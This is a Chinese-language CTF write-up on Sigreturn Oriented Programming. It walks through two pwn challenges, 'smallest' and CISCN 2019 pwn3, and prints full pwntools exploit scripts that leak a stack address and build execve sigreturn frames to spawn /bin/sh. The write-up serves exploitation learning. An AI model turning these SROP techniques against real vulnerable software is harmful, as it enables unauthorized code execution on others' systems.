SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。
主要意思是靠系统调用劫持程序流。
SROP在64位下的系统调用号为0x0F,也就是15。
来自i春秋
三无,直接看源码。
确实挺small的,整个程序只有这几行代码,应该是汇编手撸的静态链接。
每行代码的意思分别是:
置零rax寄存器
将0x400放入rdx的低32位寄存器中,也就是第三参数
将rsi置为rsp,也就是buf,第二参数
将rdi置为rax,也就是第一参数
那么很明显,就是一个函数:
syscall(0, 0 , buf , 0x400)
read(0, buf, 0x400)
很显然存在栈溢出,但是我们要怎么利用呢?
这里存在syscall,可以考虑一下SROP。
SROP的利用条件有4个:
那么我们来验证本题是否满足这些条件:
首先是第一个,栈溢出漏洞,不用想 肯定满足
第二个,需要知道栈的地址。
我们可以利用rax寄存器会存储read函数读取的字符数量这一点来构造,那么第二点也是可行的。
syscall的地址,也是知道的
sigreturn调用的地址,也就是 mov rax, 0x0F 我们也可以通过read函数。
显然 结果是可行。
那么我们该如何构建EXP呢?
我们先使用GDB调试一下程序看看。
可以发现程序在试图返回到我们输入的地址,也就是我们输入的字符串会被当作返回地址使用。
那么如果我们输入了程序上一条指令的地址会怎样呢?比如0x4000B0
发现rsp指针指向了0x4000B0,也就是说是可行的。
我们填充3个0x4000B0,栈上的情况就会类似这样:
rsp会指向下一个指令,而正好现在它被覆盖成了xor rax, rax。也就是说会从头开始重新执行一次程序。
那么我们有没有什么办法可以跳出这个循环呢?有的。
当我们执行start1的时候,rsp指针会指向start2,当我们这时候输入一些数据的时候,它就会覆盖掉那一部分数据。
由于是小端序,所以会反过来覆盖。
那么如果我直接覆盖掉地址,比如覆盖成下一个指令的地址会怎样呢?
比如我输入’\xB3’
我们可以发现程序打印出了0x400大小的数据,为什么会打印呢?
因为read读取了1字节长度的数据,也就是’\xB3’,使rax = 1
而正因为0x4000B3是下一条指令,跳过了置零rax寄存器的那条指令,执行的函数从
syscall(0, 0 , buf , 0x400)
read(0, buf, 0x400)
变为了
syscall(1, 0 , buf , 0x400)
write(0, buf, 0x400)
也就是打印0x400大小的数据出来。
很巧合的是,我们正好可以从中获取栈地址。
我们只需要接收start2之后的信息即可。
也就是
stack_addr = u64(io.recv()[8:16])
log.success('Stack Address: ' + (hex(stack_addr)))
可以发现成功泄露了栈上的地址出来。
我们构建一个read函数的SigreturnFrame。框架大致如下:
代码如下:
read = SigreturnFrame()
read.rax = 0
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
那么我们还需要构建一个能让rax=15的payload,这部分我们该如何构建呢?
我们发现,我们输入了3次startaddr,也就是0x4000B0,这就是为什么。
我们可以通过第三次read,也就是start3来修改栈上的内容。
我们需要将以下payload送入栈中:
payload = start_addr + syscall_ret + bytes(read)
为什么要这样呢?因为我们下一步构建execve的SROP框架也需要使用read函数。
那么栈上的情况就会变成这样:
但是问题又来了,我们需要构造15字节长度的Payload,显然这里不止15字节。
但是我们发现,我们如果不动0x4000B0的话,正好可以达到这个要求。
payload[8:8+15]
意思是从索引8开始,一直读取到索引22,正好是15个字符,正好跳过了0x4000B0,一石二鸟。
那么目前Payload就是这样的:
from pwn import *
io = process('./smallest')
context(arch='amd64', os='linux', log_level='debug')
syscall_ret = 0x4000BE
start_addr = 0x4000B0
payload = p64(0x4000B0) * 3
io.send(payload)
io.send(b'\xB3')
stack_addr = u64(io.recv()[8:16])
log.success('Stack Address: ' + (hex(stack_addr)))
read = SigreturnFrame()
read.rax = 0
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
payload = p64(start_addr) + p64(syscall_ret) + bytes(read)
io.send(payload)
io.send(payload[8:8+15])
print(len(payload[8:8+15]))
io.interactive()
可以发现正好是15字节。
然后我们开始构建第二个SROP框架,也就是execve的。
execve_srop = SigreturnFrame()
execve_srop.rax = 59
execve_srop.rdi = stack_addr + 0x120
execve_srop.rsi = 0
execve_srop.rdi = 0
execve_srop.rsp = stack_addr
execve_srop.rip = syscall_ret
也就是这样。
那么我们该如何放入栈中呢?和之前的read是一样的思路。
payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop)
但是问题来了,execve的第一参数是binsh,而我们设置的是stack_addr + 0x120,我们是如何确定binsh_addr的位置的?
这里我们需要知道我们这个框架的payload大小是多少,很简单,print就行。
可以发现是264个字节。
那么事情就很明朗了。
frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop)
payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00'
io.send(payload)
io.send(payload[8:8+15])
我们只需要将前面的payload构建到0x120大小,再送入binsh即可。
完整Payload:
from pwn import *
io = process('./smallest')
context(arch='amd64', os='linux', log_level='debug')
syscall_ret = 0x4000BE
start_addr = 0x4000B0
payload = p64(start_addr) * 3
io.send(payload)
io.send(b'\xB3')
stack_addr = u64(io.recv()[8:16])
log.success('Stack Address: ' + (hex(stack_addr)))
read = SigreturnFrame()
read.rax = 0x0
read.rdi = 0x0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
payload = p64(start_addr) + p64(syscall_ret) + bytes(read)
io.send(payload)
io.send(payload[8:8+15])
execve_srop = SigreturnFrame()
execve_srop.rax = 59
execve_srop.rdi = stack_addr + 0x120
execve_srop.rsi = 0x0
execve_srop.rdx = 0x0
execve_srop.rsp = stack_addr
execve_srop.rip = syscall_ret
frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop)
payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00'
io.send(payload)
io.send(payload[8:8+15])
io.interactive()
本题的ret2csu的解法不知道为什么CSDN给我吞了,有空给他重新写一下。
看保护感觉不是太难的程序,实际上在做了这么多题目之后感觉确实不是很难,只不过我有点忘了ret2csu罢了。
现在学了SROP,觉得是真的简单。
做完smallest,感觉ciscn_s_3就是smallest的简化版本。
出题人给你提供了sigreturn syscall,给你提供了read、write。甚至不需要考虑什么构建栈上内容。
偏移就用之前算好的0x148和0x118。
拿地址的部分我就不细说了
sigreturn_addr = 0x4004DA
syscall_ret = 0x400517
泄露部分也是,我们泄露栈的地址,以此作为SROP存放的地址,然后我们用这个地址计算出输入的字符串,也就是binsh的地址,即可getshell。
比ret2csu简单到不知道哪里去。
完整EXP:
from pwn import *
io = process('./CISCN_2019_PWN3')
elf = ELF('./CISCN_2019_PWN3')
context(arch='amd64', os='linux', log_level='debug')
sigreturn_addr = 0x4004DA
syscall_ret = 0x400517
sigreturn_addr = 0x4004DA
syscall_ret = 0x400517
vuln = elf.sym['vuln']
io.sendline(b'A' * 0x10 + p64(vuln))
io.recv(0x20)
stack_addr = u64(io.recv(8))
binsh_addr = stack_addr - 0x148
execve = SigreturnFrame()
execve.rax = 59
execve.rdi = binsh_addr
execve.rsi = 0
execve.rdx = 0
execve.rsp = 0
execve.rip = syscall_ret
payload = b'/bin/sh\x00' * 2 + p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve)
io.sendline(payload)
io.interactive()
具体思路就这样子,要更细点说的话
其实我觉得smallest都已经说完了。
首先通过栈溢出漏洞泄露栈地址,通过栈地址和栈的基址计算偏移
基址是rsi寄存器存储的,一开始运行程序就可以得到。
其实看IDA也看得出来。
然后随便输入内容
我稍微测试了一下,在Ubuntu 18.04中,这个偏移是0x118。
我现在的系统是Ubuntu 22.04,因此做题目打远程的时候需要使用0x118。
然后是构建execve的SROP结构。使用Pwntools自带的SigreturnFrame()函数即可轻松秒杀。
execve = SigreturnFrame()
execve.rax = 59
execve.rdi = binsh_addr
execve.rsi = 0
execve.rdx = 0
execve.rsp = 0
execve.rip = syscall_ret
rax寄存器存放系统调用号
rdi存放第一参数
rsi存放第二参数
rdx存放第三参数
rsp不用管,设为0也行。
rip作为syscall_ret,这个SROP基本不变。
然后就没有然后了,注意一下binsh的位置就行。
泄露出来的地址是stack_addr,减去0x118或者0x148,然后payload这样构建就能getshell。
b'/bin/sh\x00' * 2 + p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve)